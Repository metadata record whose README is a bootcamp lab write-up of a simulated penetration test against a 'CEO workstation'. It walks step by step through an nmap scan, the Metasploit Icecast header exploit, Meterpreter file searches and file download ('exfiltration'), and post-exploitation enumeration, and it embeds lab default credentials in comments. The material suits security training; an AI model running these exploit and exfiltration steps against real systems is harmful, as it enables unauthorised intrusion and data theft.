{"id":19846110,"url":"https://github.com/oflore12/penetration-test-engagement","last_synced_at":"2026-02-14T07:03:14.199Z","repository":{"id":92702206,"uuid":"382703109","full_name":"oflore12/Penetration-Test-Engagement","owner":"oflore12","description":"Play the role of an independent penetration tester hired by GoodCorp Inc. to perform security tests against their CEO’s workstation.","archived":false,"fork":false,"pushed_at":"2024-07-24T18:23:44.000Z","size":3340,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-02-28T22:51:54.852Z","etag":null,"topics":["exploit","hacking","penetration-testing","pentesting"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/oflore12.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2021-07-03T20:21:21.000Z","updated_at":"2024-07-24T18:29:16.000Z","dependencies_parsed_at":"2024-11-12T13:10:32.571Z","dependency_job_id":"2bdb2925-bb0e-4afc-8156-c6062a23330a","html_url":"https://github.com/oflore12/Penetration-Test-Engagement","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/oflore12/Penetration-Test-Engagement","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/oflore12%2FPenetration-Test-Engagement","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/oflore12%2FPenetration-Test-Engagement/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/oflore12%2FPenetration-Test-Engagement/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/oflore12%2FPenetration-Test-Engagement/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/oflore12","download_url":"https://codeload.github.com/oflore12/Penetration-Test-Engagement/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/oflore12%2FPenetration-Test-Engagement/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":278518904,"owners_count":26000177,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-05T02:00:06.059Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["exploit","hacking","penetration-testing","pentesting"],"created_at":"2024-11-12T13:10:28.174Z","updated_at":"2025-10-05T20:53:02.653Z","avatar_url":"https://github.com/oflore12.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# Penetration-Test-Engagement\nThis activity allowed me to play the role of an independent penetration tester hired by GoodCorp Inc. to perform security tests against their CEO’s workstation.\n- The CEO claims to have passwords that are long and complex and therefore unhackable.\n- I was tasked with gaining access to the CEO's computer and using a Meterpreter session to search for two files that contain the strings `recipe` and `seceretfile`.\n- The deliverable for this engagement will be in the form of a report labeled `Report.docx`.\n\n#### Setup \n- To begin, start the Icecast server to emulate the CEO's computer. \n- Then log onto the DVW10 machine and wait for the Icecast application to popup.\n- Then click `Start Server`. \n \n#### Scope\n- The scope of this engagement is limited to the CEO's workstation only. You are not permitted to scan any other IP addresses or exploit anything other than the CEO's IP address.\n- The CEO has a busy schedule and cannot have the computer offline for an extended period of time. Therefore, denial of service and brute force attacks are prohibited. \n- After you gain access to the CEO’s computer, you may read and access any file, but you cannot delete them. Nor are you allowed to make any configurations changes to the computer.\n- Since you've already been provided access to the network, OSINT won't be necessary.\n \n#### Lab Environment\n- Attacking machine: `Kali Linux` \u003c!--root:toor --\u003e\n- Target machine: `DVW10` \u003c!--IEUser:Passw0rd!--\u003e\n\n#### Deliverable\n- [Report.docx]( Report.docx)\n \n### Instructions\nYou've been provided full access to the network and are getting ping responses from the CEO’s workstation.\n \n1. Perform a service and version scan using Nmap to determine which services are up and running:\n\u003c!-- Run the Nmap command that performs a service and version scan against the target.--\u003e\n      nmap -sV 192.168.0.20\n ![Terminal image](https://github.com/oflore12/Penetration-Test-Engagment/blob/main/HW%2017%20images/Picture1.png)\n\n2. From the previous step, we see that the Icecast service is running. Let's start by attacking that service. Search for any Icecast exploits:\n  \u003c!-- - Run the SearchSploit commands to show available Icecast exploits.--\u003e\n      searchsploit icecast\n ![Terminal image](https://github.com/oflore12/Penetration-Test-Engagment/blob/main/HW%2017%20images/Picture2.png)\n\n3. Now that we know which exploits are available to us, let's start Metasploit: \n\u003c!-- Run the command that starts Metasploit:--\u003e\n      msfconsole\n\n4. Search for the Icecast module and load it for use.\n\u003c!-- - Run the command to search for the Icecast module: --\u003e\n      search icecast\n ![Terminal image](https://github.com/oflore12/Penetration-Test-Engagment/blob/main/HW%2017%20images/Picture3.png)\n\n\u003c!-- - Run the command to use the Icecast module:--\u003e\n      use exploit/windows/http/icecast_header\n ![Terminal image](https://github.com/oflore12/Penetration-Test-Engagment/blob/main/HW%2017%20images/Picture4.png)\n\n5. Set the `RHOST` to the target machine. \n\u003c!--   - Run the command that sets the `RHOST`:--\u003e\n      set RHOSTS 192.168.0.20\n ![Terminal image](https://github.com/oflore12/Penetration-Test-Engagment/blob/main/HW%2017%20images/Picture5.png)\n\n6. Run the Icecast exploit.\n\u003c!--  - Run the command that runs the Icecast exploit.--\u003e\n      run\n ![Terminal image](https://github.com/oflore12/Penetration-Test-Engagment/blob/main/HW%2017%20images/Picture6.png)\n\n\u003c!--   - Run the command that performs a search for the `secretfile.txt` on the target --\u003e\n      search –f  \\*secretfile\\*\n![Terminal image](https://github.com/oflore12/Penetration-Test-Engagment/blob/main/HW%2017%20images/Picture7.png)\n\n 7. You should now have a Meterpreter session open.\n   \u003c!-- - Run the command to performs a search for the `recipe.txt` on the target:--\u003e\n      search –f  \\*recipe\\*\n![Terminal image](https://github.com/oflore12/Penetration-Test-Engagment/blob/main/HW%2017%20images/Picture8.png)\n\n**Bonus**: Run the command that exfiltrates the `recipe*.txt` file:\n\n      download ‘c:\\Users\\IEUser\\Documents\\Drinks.recipe.txt’\n![Terminal image](https://github.com/oflore12/Penetration-Test-Engagment/blob/main/HW%2017%20images/Picture9.png)\n\n\n8. You can also use Meterpreter's local exploit suggester to find possible exploits.\n\u003c!--  - **Note:** The exploit suggester is just that: a suggestion. Keep in mind that the listed suggestions may not include all available exploits.--\u003e\n      run post/multi/recon/local_exploit_suggester\n![Terminal image](https://github.com/oflore12/Penetration-Test-Engagment/blob/main/HW%2017%20images/Picture10.png)\n\n \n#### Bonus\n- Run a Meterpreter post script that enumerates all logged on users.\n  \n      run post/windows/gather/enum_logged_on_users\n  ![Terminal image](https://github.com/oflore12/Penetration-Test-Engagment/blob/main/HW%2017%20images/Picture11.png)\n\n- Open a Meterpreter shell and gather system information for the target.\n  \n      shell\n      ipconfig –all\n  ![Terminal image](https://github.com/oflore12/Penetration-Test-Engagment/blob/main/HW%2017%20images/Picture12.png)\n\n- Run the command that displays the target's computer system information:\n  \n      systeminfo\n  ![Terminal image](https://github.com/oflore12/Penetration-Test-Engagment/blob/main/HW%2017%20images/Picture13.png)\n\n---\n\u0026copy; 2020 Trilogy Education Services, a 2U Inc Brand.   All Rights Reserved.\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Foflore12%2Fpenetration-test-engagement","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Foflore12%2Fpenetration-test-engagement","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Foflore12%2Fpenetration-test-engagement/lists"}